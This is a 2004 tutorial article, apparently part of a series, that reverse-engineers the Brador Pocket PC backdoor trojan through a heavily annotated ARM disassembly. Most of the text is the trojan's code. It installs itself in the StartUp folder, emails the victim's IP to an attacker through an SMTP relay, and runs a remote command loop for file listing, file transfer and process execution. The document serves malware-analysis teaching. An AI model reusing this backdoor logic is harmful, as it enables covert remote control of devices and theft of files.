Reverse-Engineering the First Pocket PC Trojan, Part 2
Date: Oct 8, 2004
Back to Work
Now that we've done a macro analysis in part 1, we get to the fun part: reverse-engineering the first Pocket PC Trojan. To perform micro analysis, you should be familiar with assembly language. In addition, you have to know the specific assembly registers used by the ARM processor. We've included a few paragraphs here from Security Warrior (O'Reilly, 2004) to give you an overall review.
The Advanced RISC Microprocessor (ARM) is a low-power, 32-bit microprocessor based on the Reduced Instruction Set Computer (RISC) principles. In particular, the ARM is used in small devices that have a limited power source and low threshold for heat, such as PDAs, telecommunication devices, and other miniature devices that require a relatively high level of computing power.
There are a total of 37 registers within this processor that hold values used in the execution of code. Six of these registers are used to store status values needed to hold the results of compare and mathematical operations, among others. This leaves 31 registers to the use of the program, of which a maximum of 16 are generally available to the programmer. Of these 16, Register 15 (R15) is used to hold the Program Counter (PC), which is used by the processor to keep track of where in the program it is currently executing. R14 is also used by the processor as a subroutine link register (Lr), which is used to temporarily hold the value held by R15 when a Branch and Link (BL) instruction is executed. Finally, R13, known as the Stack Pointer (Sp), is used by the processor to hold the memory address of the stack, which is used to hold all values about to be used by the processor in its execution.
In addition to these first 16 registers, some debuggers allow the programmer to monitor the last four registers (2831), which are used to hold conditional values. These registers are used to hold the results of arithmetic and logical operations performed by the processor (addition, subtraction, compares, and so on). Here's a list of the registers and their purposes (in descending order because the processor bits are read from high to low):
R31: Negative/less than
R30: Zero
R29: Carry/borrow/extend
R28: Overflow
For more on Windows CE reverse-engineering, as well as software reversing in general, check out Security Warrior.
The Annotated Disassembly
We opened the binary in IDA Pro. The following is the IDA disassembly, along with our detailed, annotated comments in the assembly code. We've posted the entire IDA disassembly here. But instead of simply publishing a tedious file dump just to make our article look longer, we've painstakingly commented the important parts of the assembly language code. Even if you're not yet an expert in assembler, we hope that you'll at least read through this exercise. To get the most value out of this tutorial, you should first read the assembler code on the left. Cover the comments with a note card and try to unravel by yourself what's happening. Then read the comments on the right to see how you did.
.text:00011000 ; .text:00011000 ; File Name : C:\!_infis\brador_a.exe .text:00011000 ; Format : Portable executable for ARM (PE) .text:00011000 ; Section 1. (virtual address 00001000) .text:00011000 ; Virtual size : 00000CC0 ( 3264.) .text:00011000 ; Section size in file : 00000E00 ( 3584.) .text:00011000 ; Offset to raw data for section: 00000400 .text:00011000 ; Flags E0000020: Text Executable Readable Writable .text:00011000 ; Alignment : 16 bytes ? .text:00011000 .text:00011000 ; Processor : ARM .text:00011000 ; Target assembler: Generic assembler for ARM .text:00011000 ; Byte sex : Little endian .text:00011000 .text:00011000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .text:00011000 .text:00011000 AREA .text, CODE, READWRITE, ALIGN=4 .text:00011000 ; ORG 0x11000 .text:00011000 CODE32 .text:00011000 .text:00011000 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011000 .text:00011000 .text:00011000 EXPORT start .text:00011000 start ; DATA XREF: .text:00011A74o .text:00011000 LDR R0, =aWindowsStartup ; placing in startup folder allows us .text:00011000 ; to run on next reboot .text:00011004 MOV R1, #0x40000000 .text:00011008 EOR R2, R2, R2 .text:0001100C EOR R3, R3, R3 .text:00011010 MOV R4, #1 ; create new, if the file does exist, the function fails .text:00011010 ; (i.e., if we're already installed, skip installation) .text:00011014 STR R4, [SP] .text:00011018 MOV R4, #0x80 ; now try to open/create the file in startup folder .text:0001101C STR R4, [SP,#4] .text:00011020 STR R3, [SP,#8] .text:00011024 BL CreateFileW .text:00011028 MVN R1, #0 .text:0001102C CMP R0, R1 .text:00011030 BEQ skip_install ; invalid handle? .text:00011034 this is pc relative and ida can't handle this - it shows .text:00011034 like everything pc related as it would load a value there .text:00011034 (it is normally in DATA section) .text:00011034 STR R0, =0x2F72F922 ; store the handle .text:00011038 MOV R8, #4 ; four iterations .text:0001103C LDR R7, =bytes_count .text:00011040 EOR R6, R6, R6 ; null r6 .text:00011044 LDR R1, =start_of_pe_file ; first we write the header .text:00011044 ; and then we iterate through the three sections that .text:00011044 ; are loaded in memory and write them .text:00011048 .text:00011048 iterate_sections ; CODE XREF: start+70j .text:00011048 LDR R0, =0x2F72F922 ; get handle .text:0001104C LDRH R2, [R7],#2 ; read how many bytes to write .text:00011050 LDR R3, =number_of_bytes_written .text:00011054 EOR R4, R4, R4 ; null r4 .text:00011058 STR R4, [SP] ; we don't use overlapping .text:0001105C BL WriteFile .text:00011060 LDR R1, =start ; start from the code section .text:00011064 ADD R1, R1, R6 ; add offset .text:00011068 ADD R6, R6, #0x1000 ; add whole section (use section alignment) .text:0001106C SUBS R8, R8, #1 ; we do four iterations as we have three sections and header .text:00011070 BNE iterate_sections .text:00011074 LDR R0, =0x2F72F922 ; now close the handle .text:00011078 BL CloseHandle .text:0001107C now on next reboot our file gets run .text:0001107C .text:0001107C skip_install ; CODE XREF: start+30j .text:0001107C LDR R0, =0x310031 ; 1.1 .text:00011080 LDR R1, =start_of_pe_file ; we don't need it, use it as buffer .text:00011084 BL WSAStartup ; set up sockets .text:00011088 MOV R0, #2 ; pf_inet .text:0001108C MOV R1, #1 ; SOCK_STREAM .text:00011090 EOR R2, R2, R2 ; null r2 .text:00011094 BL socket .text:00011098 STR R0, =0 ; store it to buffer .text:0001109C LDR R1, =0x8004667E ; this is imho FIONBIO .text:0001109C ; .text:000110A0 LDR R2, =number_of_bytes_written .text:000110A4 BL ioctlsocket .text:000110A8 LDR R0, =0 ; get the socket handle .text:000110AC LDR R1, =sockaddr ; bind to port 2989 (0xbad) to ADDR_ANY .text:000110B0 MOV R2, #0x10 .text:000110B4 BL bind .text:000110B8 .text:000110B8 loc_0_110B8 ; CODE XREF: start+D4j .text:000110B8 LDR R0, =0 .text:000110BC LDR R1, =sockaddr_smtp ; connect to 194.67.23.111 on port 25 .text:000110BC ; some SMTP relay I bet .text:000110C0 MOV R2, #0x10 .text:000110C4 BL connect .text:000110C8 LDR R6, =select_timeout .text:000110CC BL select_write .text:000110D0 TST R0, R0 ; are we ready to write? .text:000110D4 BEQ loc_0_110B8 .text:000110D8 LDR R0, =hostname .text:000110DC MOV R1, #0x10 .text:000110E0 BL gethostname .text:000110E4 LDR R0, =hostname .text:000110E8 BL gethostbyname ; ok, get local hostent .text:000110EC LDR R0, [R0,#0xC] ; gimme adr_list pointer .text:000110F0 LDR R0, [R0] ; gimme first_addr ptr .text:000110F4 LDR R0, [R0] ; gimme first addr .text:000110F8 STR R0, =0 .text:000110FC BL inet_ntoa ; ok, gimme ipv4 string .text:00011100 LDR R2, =ip_address_with_cr_lf .text:00011104 .text:00011104 loc_0_11104 ; CODE XREF: start+110j .text:00011104 LDRB R1, [R0],#1 ; copy the local IP in dotted format to send buffer .text:00011108 STRB R1, [R2],#1 .text:0001110C TST R1, R1 ; end? .text:00011110 BNE loc_0_11104 .text:00011114 now we'll send email to the author that we have .text:00011114 backdoored pda and soon we'll listen on bound port .text:00011114 (2989) .text:00011114 LDR R1, =aHeloVictim ; send hello to SMTP server .text:00011118 MOV R2, #0xD .text:0001111C BL send_data_over_socket .text:00011120 LDR R1, =aMailFromBr@mail_ru ; mail from .text:00011124 MOV R2, #0x16 .text:00011128 BL send_data_over_socket .text:0001112C LDR R1, =aRcptToBrokensword@ukr_ ; this might be interesting in hunting down the author .text:00011130 MOV R2, #0x1D .text:00011134 BL send_data_over_socket .text:00011138 LDR R1, =aData ; start of data .text:0001113C MOV R2, #6 .text:00011140 BL send_data_over_socket .text:00011144 LDR R1, =ip_address_with_cr_lf .text:00011148 MOV R2, #0x15 ; now send the IP address .text:0001114C BL send_data_over_socket .text:00011150 LDR R1, =aQuit .text:00011154 MOV R2, #6 ; and quit .text:00011158 BL send_data_over_socket .text:0001115C LDR R0, =0 .text:00011160 BL closesocket ; close socket .text:00011164 MOV R0, #2 ; create the socket once more .text:00011168 MOV R1, #1 .text:0001116C EOR R2, R2, R2 .text:00011170 BL socket .text:00011174 STR R0, =0 ; again bind to local, port 2989 .text:00011178 LDR R1, =sockaddr .text:0001117C MOV R2, #0x10 .text:00011180 BL bind .text:00011184 .text:00011184 loc_0_11184 ; CODE XREF: start+1F0j .text:00011184 LDR R0, =0 ; but now we'll finally listen on it .text:00011188 MOV R1, #5 ; max 5 pending connections .text:0001118C BL listen .text:00011190 LDR R0, =0 .text:00011194 EOR R1, R1, R1 ; null r1 and r2 .text:00011198 EOR R2, R2, R2 .text:0001119C BL accept ; accept incoming connections .text:000111A0 STR R0, =0 ; hmm, we have client, send him greeting .text:000111A4 LDR R1, =aConnectionEstablish .text:000111A8 MOV R2, #0x17 .text:000111AC EOR R3, R3, R3 .text:000111B0 BL send .text:000111B4 LDR R0, =0 ; again, FIONBIO .text:000111B8 LDR R1, =0x8004667E .text:000111BC LDR R2, =dword_0_11980 .text:000111C0 BL ioctlsocket .text:000111C4 .text:000111C4 get_next_command ; CODE XREF: .text:000112B4j .text:000111C4 ; .text:000112E4j ... .text:000111C4 LDR R6, =select_timeout_ .text:000111C8 BL select_read .text:000111CC TST R0, R0 ; do we have some command on the way? .text:000111D0 BGT weve_got_data .text:000111D4 .text:000111D4 close_session ; DATA XREF: .text:00011A70o .text:000111D4 LDR R0, =0 ; some error, send connection close .text:000111D8 LDR R1, =aConnectionClose .text:000111DC MOV R2, #0x12 .text:000111E0 EOR R3, R3, R3 .text:000111E4 BL send .text:000111E8 LDR R0, =0 ; close the socket .text:000111EC BL closesocket .text:000111F0 B loc_0_11184 ; and listen again .text:000111F4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:000111F4 .text:000111F4 weve_got_data ; CODE XREF: start+1D0j .text:000111F4 LDR R0, =0 .text:000111F8 LDR R1, =start_of_pe_file .text:000111FC MOV R2, #0x400 .text:00011200 EOR R3, R3, R3 ; read the data we've got! .text:00011204 BL recv .text:00011208 LDRB R0, =0x905A4D ; read one (command) byte from incoming data .text:0001120C LDR R1, =commandz ; compare against available commandz .text:00011210 .text:00011210 loc_0_11210 ; CODE XREF: start+218j .text:00011210 LDRB R2, [R1],#1 ; read command .text:00011214 CMP R0, R2 ; compare .text:00011214 ; (this could end in loop if client not ours) .text:00011218 BNE loc_0_11210 .text:0001121C LDR R0, =commandz_plus_1 ; ok, we've got one, even if the first one was hit, we have .text:0001121C ; now r1 pointing to commandz + 1 (and we need null if the first one .text:0001121C ; was a hit, that's why we cannot substract commandz, but .text:0001121C ; commandz + 1) .text:00011220 SUB R1, R1, R0 ; ok, get displacement .text:00011224 LDR R3, =commandz_offsets .text:00011228 LDR PC, [R3,R1,LSL#2] ; jump to appropriate command .text:00011228 ; End of function start .text:00011228 .text:0001122C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001122C .text:0001122C dir ; DATA XREF: .text:00011A5Co .text:0001122C LDR R0, =packet_payload .text:00011230 LDR R1, =process_information .text:00011234 BL FindFirstFileW ; find according to mask in data from client .text:00011238 TST R0, R0 .text:0001123C BEQ send_eol ; nothing matched? .text:00011240 STR R0, =0 .text:00011244 .text:00011244 iterate_next_file ; CODE XREF: .text:00011298j .text:00011244 LDR R3, =dword_0_11744 ; goto win32_find_data.cFileName .text:00011248 LDR R4, =start_of_pe_file .text:0001124C .text:0001124C iterate_copy ; CODE XREF: .text:0001125Cj .text:0001124C ; .text:00011268j .text:0001124C LDRB R2, [R3],#1 ; copy it to the start of the buffer .text:0001124C ; until the end is reached .text:00011250 TST R2, R2 .text:00011254 BEQ loc_0_11260 .text:00011258 STRB R2, [R4],#1 .text:0001125C B iterate_copy .text:00011260 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011260 .text:00011260 loc_0_11260 ; CODE XREF: .text:00011254j .text:00011260 LDRB R2, [R3] .text:00011264 TST R2, R2 ; do we have two nulls? if not go on .text:00011268 BNE iterate_copy .text:0001126C MOV R0, #0 .text:00011270 STRB R0, [R4] .text:00011274 LDR R0, =0 .text:00011278 LDR R1, =start_of_pe_file .text:0001127C SUB R2, R4, R1 ; count the size of the filename to send .text:0001127C ; (the buffer pointer - start of the buffer) .text:00011280 EOR R3, R3, R3 .text:00011284 BL send ; ok, send the filename .text:00011288 LDR R0, =0 .text:0001128C LDR R1, =process_information .text:00011290 BL FindNextFileW ; now go on with next file .text:00011294 TST R0, R0 ; was there any? .text:00011298 BNE iterate_next_file ; goto win32_find_data.cFileName .text:0001129C .text:0001129C send_eol ; CODE XREF: .text:0001123Cj .text:0001129C EOR R3, R3, R3 ; null r3 .text:000112A0 STR R3, =0x905A4D ; store it to buffer .text:000112A4 LDR R0, =0 ; send end of listing over the wire to the client .text:000112A8 LDR R1, =start_of_pe_file .text:000112AC MOV R2, #4 .text:000112B0 BL send .text:000112B4 B get_next_command .text:000112B8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:000112B8 this file uploads file from server to client .text:000112B8 .text:000112B8 upload_file ; DATA XREF: .text:00011A60o .text:000112B8 LDR R0, =packet_payload .text:000112BC MOV R1, #0x80000000 .text:000112C0 EOR R2, R2, R2 .text:000112C4 EOR R3, R3, R3 ; ok, open the file given in data read from client .text:000112C8 MOV R4, #3 .text:000112CC STR R4, [SP] .text:000112D0 MOV R4, #0x80 .text:000112D4 STR R4, [SP,#4] .text:000112D8 STR R3, [SP,#8] .text:000112DC BL CreateFileW .text:000112E0 TST R0, R0 ; success? .text:000112E4 BEQ get_next_command .text:000112E8 STR R0, =0x2F72F922 ; store the handle .text:000112EC EOR R1, R1, R1 ; get the file size of the file .text:000112F0 BL GetFileSize .text:000112F4 STR R0, =0x905A4D .text:000112F8 LDR R0, =0 ; send the filesize first .text:000112FC LDR R1, =start_of_pe_file .text:00011300 MOV R2, #4 .text:00011304 EOR R3, R3, R3 .text:00011308 BL send .text:0001130C .text:0001130C iterate_read ; CODE XREF: .text:00011344j .text:0001130C LDR R0, =0x2F72F922 .text:00011310 LDR R1, =start_of_pe_file .text:00011314 MOV R2, #0x400 ; read one chunk to buffer from file .text:00011318 LDR R3, =read_writefds .text:0001131C EOR R4, R4, R4 .text:00011320 STR R4, [SP] .text:00011324 BL ReadFile .text:00011328 LDR R2, =1 ; the read was successful? .text:0001132C TST R2, R2 .text:00011330 BEQ end_reading .text:00011334 LDR R0, =0 ; send the read chunk over the wire .text:00011338 LDR R1, =start_of_pe_file .text:0001133C EOR R3, R3, R3 .text:00011340 BL send .text:00011344 B iterate_read .text:00011348 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011348 .text:00011348 end_reading ; CODE XREF: .text:00011330j .text:00011348 LDR R0, =0x2F72F922 ; close the handle .text:0001134C BL CloseHandle .text:00011350 B get_next_command .text:00011354 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011354 this function uploads file from client to server .text:00011354 .text:00011354 download_file ; DATA XREF: .text:00011A68o .text:00011354 LDR R0, =packet_payload .text:00011358 MOV R1, #0x40000000 .text:0001135C EOR R2, R2, R2 .text:00011360 EOR R3, R3, R3 .text:00011364 MOV R4, #2 ; try to create the file according to filename .text:00011364 ; given from client .text:00011368 STR R4, [SP] .text:0001136C MOV R4, #0x80 .text:00011370 STR R4, [SP,#4] .text:00011374 STR R3, [SP,#8] .text:00011378 BL CreateFileW .text:0001137C TST R0, R0 ; success? .text:00011380 BEQ get_next_command .text:00011384 STR R0, =0x2F72F922 ; store the handle .text:00011388 BL send_ok_back .text:0001138C LDR R6, =timeout_file_dl .text:00011390 BL select_read ; wait for incoming file data .text:00011394 LDR R0, =0 .text:00011398 LDR R1, =start_of_pe_file .text:0001139C MOV R2, #0x400 .text:000113A0 EOR R3, R3, R3 ; now read the filesize .text:000113A4 BL recv .text:000113A8 LDR R7, =0x905A4D ; get it .text:000113AC MOV R7, R7,LSR#10 ; count it in 0x400 bytes chunks .text:000113B0 ADD R7, R7, #1 ; plus one - the last one that could get lost in shifting .text:000113B4 .text:000113B4 iterate_chunks ; CODE XREF: .text:000113F8j .text:000113B4 LDR R6, =timeout_file_dl .text:000113B8 BL select_read ; wait for next chunk .text:000113BC TST R0, R0 .text:000113C0 BEQ end_download ; any yet? .text:000113C4 LDR R0, =0 .text:000113C8 LDR R1, =start_of_pe_file .text:000113CC MOV R2, #0x400 ; ok, read chunk .text:000113D0 EOR R3, R3, R3 .text:000113D4 BL recv .text:000113D8 MOV R2, R0 .text:000113DC LDR R0, =0x2F72F922 .text:000113E0 LDR R1, =start_of_pe_file .text:000113E4 LDR R3, =read_writefds .text:000113E8 EOR R4, R4, R4 ; write it to the file .text:000113EC STR R4, [SP] .text:000113F0 BL WriteFile .text:000113F4 SUBS R7, R7, #1 ; substract one chunk .text:000113F8 BNE iterate_chunks ; iterate until the end .text:000113FC BL send_ok_back .text:00011400 .text:00011400 end_download ; CODE XREF: .text:000113C0j .text:00011400 LDR R0, =0x2F72F922 ; close the handle .text:00011404 BL CloseHandle ; and go on .text:00011408 B get_next_command .text:0001140C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001140C .text:0001140C message_box ; DATA XREF: .text:00011A6Co .text:0001140C EOR R0, R0, R0 ; null r0 .text:00011410 LDR R1, =packet_payload ; display messagebox .text:00011414 LDR R2, =aHi ; give it appropriate caption .text:00011418 MOV R3, #0 .text:0001141C BL MessageBoxW .text:00011420 BL send_ok_back .text:00011424 B get_next_command .text:00011428 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011428 .text:00011428 execute ; DATA XREF: .text:00011A64o .text:00011428 LDR R0, =packet_payload .text:0001142C EOR R1, R1, R1 .text:00011430 EOR R2, R2, R2 .text:00011434 EOR R3, R3, R3 .text:00011438 MVN R4, #0 .text:0001143C STR R4, [SP] .text:00011440 MOV R4, #0x10 .text:00011444 STR R4, [SP,#4] ; ok, create process according to info .text:00011444 ; sent from the client .text:00011448 STR R3, [SP,#8] .text:0001144C STR R3, [SP,#0xC] .text:00011450 STR R3, [SP,#0x10] .text:00011454 LDR R4, =process_information .text:00011458 STR R4, [SP,#0x14] .text:0001145C BL CreateProcessW .text:00011460 TST R0, R0 .text:00011464 BEQ loc_0_1146C ; all's ok? .text:00011468 BL send_ok_back .text:0001146C .text:0001146C loc_0_1146C ; CODE XREF: .text:00011464j .text:0001146C B get_next_command .text:00011470 in: r1 - data .text:00011470 r2 - size .text:00011470 .text:00011470 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011470 .text:00011470 .text:00011470 send_data_over_socket ; CODE XREF: start+11Cp .text:00011470 ; start+128p ... .text:00011470 MOV R7, LR .text:00011474 LDR R0, =0 ; get the socket .text:00011478 EOR R3, R3, R3 ; null r3 .text:0001147C BL send ; send it .text:00011480 LDR R6, =timeout_file_dl .text:00011484 BL select_read .text:00011488 LDR R0, =0 ; get socket .text:0001148C LDR R1, =start_of_pe_file ; read to our tmp_buffer .text:00011490 MOV R2, #0x400 .text:00011494 EOR R3, R3, R3 .text:00011498 BL recv ; it's in FIONBIO, it won't block, just return what it does have .text:0001149C MOV PC, R7 .text:0001149C ; End of function send_data_over_socket .text:0001149C .text:000114A0 in: r6 - timeout pointer .text:000114A0 .text:000114A0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:000114A0 .text:000114A0 .text:000114A0 select_read ; CODE XREF: start+1C8p .text:000114A0 ; .text:00011390p ... .text:000114A0 MOV R5, LR .text:000114A4 LDR R0, =read_writefds .text:000114A8 MOV R1, #1 ; the same as by select_write .text:000114AC STR R1, [R0] .text:000114B0 EOR R0, R0, R0 .text:000114B4 LDR R1, =read_writefds .text:000114B8 EOR R2, R2, R2 .text:000114BC EOR R3, R3, R3 .text:000114C0 MOV R4, R6 .text:000114C4 STR R4, [SP] .text:000114C8 BL select .text:000114CC MOV PC, R5 .text:000114CC ; End of function select_read .text:000114CC .text:000114D0 in: r6 - timeout pointer .text:000114D0 .text:000114D0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:000114D0 .text:000114D0 .text:000114D0 select_write ; CODE XREF: start+CCp .text:000114D0 MOV R5, LR .text:000114D4 LDR R0, =read_writefds .text:000114D8 MOV R1, #1 ; store one fd .text:000114DC STR R1, [R0] .text:000114E0 EOR R0, R0, R0 ; null ndfs (ignored) .text:000114E4 EOR R1, R1, R1 ; null readfds .text:000114E8 LDR R2, =read_writefds .text:000114EC EOR R3, R3, R3 ; null exceptfds .text:000114F0 MOV R4, R6 .text:000114F4 STR R4, [SP] ; store timeout .text:000114F8 BL select .text:000114FC MOV PC, R5 .text:000114FC ; End of function select_write .text:000114FC .text:00011500 .text:00011500 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011500 .text:00011500 .text:00011500 send_ok_back ; CODE XREF: .text:00011388p .text:00011500 ; .text:000113FCp ... .text:00011500 MOV R5, LR .text:00011504 LDR R0, =0 ; send OK back to the client .text:00011508 LDR R1, =aOk .text:0001150C MOV R2, #3 .text:00011510 EOR R3, R3, R3 .text:00011514 BL send .text:00011518 MOV PC, R5 .text:00011518 ; End of function send_ok_back .text:00011518 .text:00011518 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001151C start_of_pe_file DCD 0x905A4D ; DATA XREF: start+208r .text:0001151C ; .text:000112A0w ... .text:00011520 first dword is the command, after first dword .text:00011520 there are arbitrary data according to command .text:00011520 .text:00011520 first there are the headers to be written to disk, but .text:00011520 it is needed only while initializing .text:00011520 packet_payload DCD 3, 4, 0xFFFF, 0xB8, 0, 0x40, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011520 ; DATA XREF: .text:00011AD4o .text:00011520 DCD 0xC0, 0xEBA1F0E, 0xCD09B400, 0x4C01B821, 0x685421CD .text:00011520 DCD 0x70207369, 0x72676F72, 0x63206D61, 0x6F6E6E61, 0x65622074 .text:00011520 DCD 0x6E757220, 0x206E6920, 0x20534F44, 0x65646F6D, 0xA0D0D2E .text:00011520 DCD 0x24, 0, 0xC7722FEF, 0x941C4EAB, 0x941C4EAB, 0x941C4EAB .text:00011520 DCD 0x944546BB, 0x941C4EAE, 0x941D4EAB, 0x941C4EBC, 0x941C4EAB .text:00011520 DCD 0x941C4EAA, 0x944A42AE, 0x941C4EAA, 0x68636952, 0x941C4EAB .text:00011520 DCD 0, 0, 0x4550, 0x301C0, 0x4110EE5F, 0, 0, 0x10F00E0 .text:00011520 DCD 0x1806010B, 0xE00, 0x400, 0, 0x1000, 0x1000, 0x2000 .text:00011520 DCD 0x10000, 0x1000, 0x200, 4, 0, 2, 0, 0x4000, 0x400 .text:00011520 DCD 0, 9, 0x100000, 0x1000, 0x100000, 0x1000, 0, 0x10 .text:00011520 DCD 0, 0, 0x201C, 0x3C, 0, 0, 0, 0, 0, 0, 0, 0, 0x2000 .text:00011520 DCD 0x1C, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x3000, 0x64, 0 .text:00011520 DCD 0, 0, 0, 0, 0, 0x7865742E, 0x74, 0xCC0, 0x1000, 0xE00 .text:00011520 DCD 0x400, 0, 0, 0, 0xE0000020, 0x6164722E, 0x6174, 0x195 .text:00011520 DCD 0x2000, 0x200, 0x1200, 0, 0 .text:0001171C process_information DCD 0, 0x40000040, 0x7461642E, 0x61, 0x64, 0x3000, 0x200 .text:0001171C ; DATA XREF: .text:00011AD8o .text:0001171C DCD 0x1400, 0, 0 .text:00011744 dword_0_11744 DCD 0, 0xC0000040, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 ; DATA XREF: .text:00011ADCo .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011744 DCD 0, 0 .text:0001191C first there is header size, then code section size (file alignment aligned) and other two section's sizes .text:0001191C bytes_count DCD 0xE000400, 0x2000200 ; DATA XREF: .text:00011A84o .text:00011924 handle DCD 0x2F72F922 ; DATA XREF: start+34w .text:00011924 ; start+48r ... .text:00011928 dword_0_11928 DCD 0 ; DATA XREF: .text:00011240w .text:00011928 ; .text:00011288r .text:0001192C aWindowsStartup unicode 0, <\Windows\StartUp\svchost.exe>,0 .text:0001192C ; DATA XREF: .text:00011A80o .text:00011966 DCB 0, 0 .text:00011968 hostname DCD 0, 0, 0, 0 ; DATA XREF: .text:00011A9Co .text:00011978 read_writefds DCD 1 ; DATA XREF: .text:00011328r .text:00011978 ; .text:00011AE0o .text:0001197C number_of_bytes_written DCD 0 ; DATA XREF: start+98w .text:0001197C ; start+A8r ... .text:00011980 dword_0_11980 DCD 0 ; DATA XREF: start+1A0w .text:00011980 ; start+1B4r ... .text:00011984 sockaddr_smtp DCD 0x19000002, 0x6F1743C2, 0, 0 ; DATA XREF: .text:00011A94o .text:00011994 sockaddr DCD 0xAD0B0002 ; DATA XREF: .text:00011A90o .text:00011998 dword_0_11998 DCD 0 ; DATA XREF: start+F8w .text:0001199C DCD 0, 0 .text:000119A4 select_timeout DCD 0xE10, 0 ; DATA XREF: .text:00011A98o .text:000119AC select_timeout_ DCD 0x258, 0 ; DATA XREF: .text:00011AC0o .text:000119B4 timeout_file_dl DCD 0x3C, 0 ; DATA XREF: .text:00011AE4o .text:000119BC ip_address_with_cr_lf DCD 0, 0, 0, 0, 0xD2E0A0D ; DATA XREF: .text:00011AA0o .text:000119D0 DCB 0xA .text:000119D1 aHeloVictim DCB "HELO victim",0xD ; DATA XREF: .text:00011AA4o .text:000119DD DCB 0xA .text:000119DE aMailFromBr@mail_ru DCB "MAIL FROM:br@mail.ru" ; DATA XREF: .text:00011AA8o .text:000119F2 DCB 0xD, 0xA .text:000119F4 aRcptToBrokensword@ukr_ DCB "RCPT TO:brokensword@ukr.net",0xD .text:000119F4 ; DATA XREF: .text:00011AACo .text:00011A10 DCB 0xA .text:00011A11 aData DCB "DATA" ; DATA XREF: .text:00011AB0o .text:00011A15 DCB 0xD, 0xA .text:00011A17 